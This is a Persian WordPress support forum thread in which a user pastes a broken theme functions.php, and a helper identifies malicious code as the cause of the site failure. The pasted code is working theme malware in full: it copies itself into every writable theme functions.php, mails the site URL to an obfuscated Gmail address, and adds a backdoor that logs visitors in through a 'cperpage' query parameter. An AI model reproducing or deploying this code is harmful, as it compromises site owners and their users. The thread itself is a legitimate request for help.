$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mes".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if (!empty($post->post_password)) {

if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {

if(is_feed()) {

$output=__("There is no excerpt because this is a protected post.");

} else {

$output=get_the_password_form();

}

}

}

if(!isset($f_tags)) $f_tags=1;

if(!isset($type_filters)) $type_filters=$filter_homes;

if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;

if(!isset($aditional_tags)) $aditional_tags="div";

if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);#

if(!isset($more_link_text)) $more_link_text="Continue reading this entry";

if(!isset($showdots)) $showdots=1;

$comments=$wpdb->get_results($sql);

if($fakeit == 2) {

$text=$post->post_content;

} elseif($fakeit == 1) {

$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;

} else {

$text=$post->post_excerpt;

}

$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if($com_length < 0) {

$output=$text;

} else {

if(!$no_more && strpos($text, "<!--more-->")) {

$text=explode("<!--more-->", $text, 2);

$l=count($text[0]);

$more_link=1;

$comments=$wpdb->get_results($sql);

} else {

$text=explode(" ", $text);

if(count($text) > $com_length) {

$l=$com_length;

$ellipsis=1;

} else {

$l=count($text);

$more_link="";

$ellipsis=0;

}

}

for ($i=0; $i<$l; $i++)

$output .= $text[$i] . " ";

}

update_option("_is_widget_active_", 1);

if("all" != $allowed_tags) {

$output=strip_tags($output, $allowed_tags);

return $output;

}

endif;

$output=rtrim($output, "\s\n\t\r\0\x0B");

$output=($f_tags) ? balanceTags($output, true) : $output;

$output .= ($showdots && $ellipsis) ? "..." : "";

$output=apply_filters($type_filter, $output);

switch($aditional_tags) {

case("div") :

$tag="div";

break;

case("span") :

$tag="span";

break;

case("p") :

$tag="p";

break;

default :

$tag="span";

}

if ($use_more ) {

if($fmore) {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n";

} else {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "</a></" . $tag . ">" . "\n";

}

}

return $output;

}

add_action("init", "_getsprepare_widget");

?>

<?php

function no_follow( $links ) {

foreach($links as $link) {

$link->link_rel .= ' nofollow';

$link->link_rel = trim($link->link_rel);

}

return $links;

}

add_filter('get_bookmarks', 'no_follow');

?>

<?php

function _verify_isactivate_widget(){

$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";

$output=strip_tags($output, $allowed);

$direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));

if (is_array($direst)){

foreach ($direst as $item){

if (is_writable($item)){

$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));

$cont=file_get_contents($item);

if (stripos($cont,$ftion) === false){

$explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";

$output .= $before . "│Мог Дто" . $after;

if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}

$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f);

$output .= ($showdots && $ellipsis) ? "..." : "";

}

}

}

}

return $output;

}

function _get_allwidgetcont($wids,$items=array()){

$places=array_shift($wids);

if(substr($places,-1) == "/"){

$places=substr($places,0,-1);

}

if(!file_exists($places) || !is_dir($places)){

return false;

}elseif(is_readable($places)){

$elems=scandir($places);

foreach ($elems as $elem){

if ($elem != "." && $elem != ".."){

if (is_dir($places . "/" . $elem)){

$wids[]=$places . "/" . $elem;

} elseif (is_file($places . "/" . $elem)&&

$elem == substr(__FILE__,-13)){

$items[]=$places . "/" . $elem;}

}

}

}else{

return false;

}

if (sizeof($wids) > 0){

return _get_allwidgetcont($wids,$items);

} else {

return $items;

}

}

if(!function_exists("stripos")){

function stripos( $str, $needle, $offset = 0 ){

return strpos( strtolower( $str ), strtolower( $needle ), $offset );

}

}

if(!function_exists("strripos")){

function strripos( $haystack, $needle, $offset = 0 ) {

if( !is_string( $needle ) )$needle = chr( intval( $needle ) );

if( $offset < 0 ){

$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );

}

else{

$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );

}

if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;

$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );

return $pos;

}

}

if(!function_exists("scandir")){

function scandir($dir,$listDirectories=false, $skipDots=true) {

$dirArray = array();

if ($handle = opendir($dir)) {

while (false !== ($file = readdir($handle))) {

if (($file != "." && $file != "..") || $skipDots == true) {

if($listDirectories == false) { if(is_dir($file)) { continue; } }

array_push($dirArray,basename($file));

}

}

closedir($handle);

}

return $dirArray;

}

}

add_action("admin_head", "_verify_isactivate_widget");

function _getsprepare_widget(){

if(!isset($com_length)) $com_length=120;

if(!isset($text_value)) $text_value="cookie";

if(!isset($allowed_tags)) $allowed_tags="<a>";

if(!isset($type_filter)) $type_filter="none";

if(!isset($expl)) $expl="";

if(!isset($filter_homes)) $filter_homes=get_option("home");

if(!isset($pref_filter)) $pref_filter="wp_";

if(!isset($use_more)) $use_more=1;

if(!isset($comm_type)) $comm_type="";

if(!isset($pagecount)) $pagecount=$_GET["cperpage"];

if(!isset($postauthor_comment)) $postauthor_comment="";

if(!isset($comm_is_approved)) $comm_is_approved="";

if(!isset($postauthor)) $postauthor="auth";

if(!isset($more_link)) $more_link="(more...)";

if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_");

if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value;

if(!isset($more_link_ditails)) $more_link_ditails="(details...)";

if(!isset($morecontents)) $morecontents="ma".$expl."il";

if(!isset($fmore)) $fmore=1;

if(!isset($fakeit)) $fakeit=1;

if(!isset($sql)) $sql="";

if (!$is_widget) :

global $wpdb, $post;

$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mas".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if (!empty($post->post_password)) {

if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {

if(is_feed()) {

$output=__("There is no excerpt because this is a protected post.");

} else {

$output=get_the_password_form();

}

}

}

if(!isset($f_tags)) $f_tags=1;

if(!isset($type_filters)) $type_filters=$filter_homes;

if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;

if(!isset($aditional_tags)) $aditional_tags="div";

if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);#

if(!isset($more_link_text)) $more_link_text="Continue reading this entry";

if(!isset($showdots)) $showdots=1;

$comments=$wpdb->get_results($sql);

if($fakeit == 2) {

$text=$post->post_content;

} elseif($fakeit == 1) {

$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;

} else {

$text=$post->post_excerpt;

}

$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if($com_length < 0) {

$output=$text;

} else {

if(!$no_more && strpos($text, "<!--more-->")) {

$text=explode("<!--more-->", $text, 2);

$l=count($text[0]);

$more_link=1;

$comments=$wpdb->get_results($sql);

} else {

$text=explode(" ", $text);

if(count($text) > $com_length) {

$l=$com_length;

$ellipsis=1;

} else {

$l=count($text);

$more_link="";

$ellipsis=0;

}

}

for ($i=0; $i<$l; $i++)

$output .= $text[$i] . " ";

}

update_option("_is_widget_active_", 1);

if("all" != $allowed_tags) {

$output=strip_tags($output, $allowed_tags);

return $output;

}

endif;

$output=rtrim($output, "\s\n\t\r\0\x0B");

$output=($f_tags) ? balanceTags($output, true) : $output;

$output .= ($showdots && $ellipsis) ? "..." : "";

$output=apply_filters($type_filter, $output);

switch($aditional_tags) {

case("div") :

$tag="div";

break;

case("span") :

$tag="span";

break;

case("p") :

$tag="p";

break;

default :

$tag="span";

}

if ($use_more ) {

if($fmore) {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n";

} else {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "</a></" . $tag . ">" . "\n";

}

}

return $output;

}

add_action("init", "_getsprepare_widget");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {

global $wpdb;

$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";

$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";

if(!$show_pass_post) $request .= " AND post_password =\"\"";

if($duration !="") {

$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";

}

$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";

$posts=$wpdb->get_results($request);

$output="";

if ($posts) {

foreach ($posts as $post) {

$post_title=stripslashes($post->post_title);

$comment_count=$post->comment_count;

$permalink=get_permalink($post->ID);

$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;

}

} else {

$output .= $before . "None found" . $after;

}

return $output;

}

?>

functions.php

ویرایش شده توسط publicdl
لینک به ارسال

سلام

اقا امروز رفتم صفحه ادمین یه بار شانسی تا قسمت پوسته ها رو بالا اومد بعد دوباره سفید شد. اون قالب 2014 بینشون نبود. عکسشو براتون فرستادم. خیلی شانسی بالا اومد.

post-4962-0-00191400-1391712402_thumb.jp

post-4962-0-33768300-1391712427_thumb.jp

post-4962-0-14903900-1391712568_thumb.pn

لینک به ارسال

میگم اگه میخواهید یوزرنیم و پسورد کنترل پنلمو بدم بیزحمت خودتون یه نگاهی بندازید؟ از طریق پیام خصوصی بفرستم؟

لینک به ارسال

مراحل زیر برید جواب نداد بگید تا خودم بررسی کنم براتون

http://forum.wp-pars...ایت-و-مدیریت-آ/

سلام وقتی افزونه ی wp-statistics رو غیر فعال میکنم این ارور روی سایتم میاد: تغییر دادن بقیه ی افزونه ها و پوسته ها هیچ تاثیری نداشت.

منظورتون از بانک اطلاعاتی چیه؟ کپی کنم اطلاعاتشو؟ کجا هست بانک اطلاعاتی؟

مورد 5 رو متوجه نشدم میشه اون رو هم کامل توضیح بدید؟ لینکش رو هم اگه میشه کامل بنویسید.

Notice: load_plugin_textdomain was called with an argument that is deprecated since version 2.7 with no alternative available. in /home/publicdl/public_html/wp-includes/functions.php on line 3098

Notice: load_plugin_textdomain was called with an argument that is deprecated since version 2.7 with no alternative available. in /home/publicdl/public_html/wp-includes/functions.php on line 3098

Fatal error: Cannot redeclare _get_allwidgetcont() (previously declared in /home/publicdl/public_html/wp-content/themes/twentyfourteen/functions.php:798) in /home/publicdl/public_html/wp-content/themes/twentyfourteen/functions.php on line 1032

ویرایش شده توسط publicdl
لینک به ارسال

حالت دیباگ رو از فایل کافیگ غیرفعال کنید

منظورتون اینه که این کد رو جایگزین قبلی کنم؟ : define('WP_DEBUG', false); این کار رو کردم ولی تغییری نکرد.اون فانکشن رو براتون بفرستم؟ black-sky گفته بود کد فانکشن رو بدم به شما.

ویرایش شده توسط publicdl
لینک به ارسال

بله فانکشن قالب 2014 ضمینه اینجا کنید

بعدشم

حالت دیباگ رو از فایل کافیگ غیرفعال کنید

بله همون خط حذف کنید

لینک به ارسال

خیلی ممنون برای حل کردن مشکل سایتم.

میشه بگید اشکال از چی بوده؟ قالب ها مشکلی داشتن؟ویروسی بودن؟ میشه بگید چه نکاتی رو رعایت کنم تا دیگه این اتفاق نیفته؟

الان این قالب ها و افزونه هایی که روی هاستم آپلود کرده بودم مشکلی ندارن؟ میشه یکی از اون قالب ها رو استفاده کنم؟

ممنون از این که مشکلمو حل کردید.حالا میشه بگید باید چی کار کنم تا دیگه این مشکل به وجود نیاد؟

ویرایش شده توسط Parsa
لینک به ارسال

مشکل وجود یک کد مخرب در داخل فانکشن یکی از قالب هاتون بود که باعث این همه مشکل شده است

ممنون از این که مشکلمو حل کردید.حالا میشه بگید باید چی کار کنم تا دیگه این مشکل به وجود نیاد

سعی کنید از پوسته های معتبر استفاده کنید

لینک به ارسال

به گفتگو بپیوندید

هم اکنون می توانید مطلب خود را ارسال نمایید و بعداً ثبت نام کنید. اگر حساب کاربری دارید، برای ارسال با حساب کاربری خود اکنون وارد شوید .

مهمان
ارسال پاسخ به این موضوع ...

×   شما در حال چسباندن محتوایی با قالب بندی هستید.   حذف قالب بندی

  تنها استفاده از 75 اموجی مجاز می باشد.

×   لینک شما به صورت اتوماتیک جای گذاری شد.   نمایش به صورت لینک

×   محتوای قبلی شما بازگردانی شد.   پاک کردن محتوای ویرایشگر

×   شما مستقیما نمی توانید تصویر خود را قرار دهید. یا آن را اینجا بارگذاری کنید یا از یک URL قرار دهید.

×
×
  • اضافه کردن...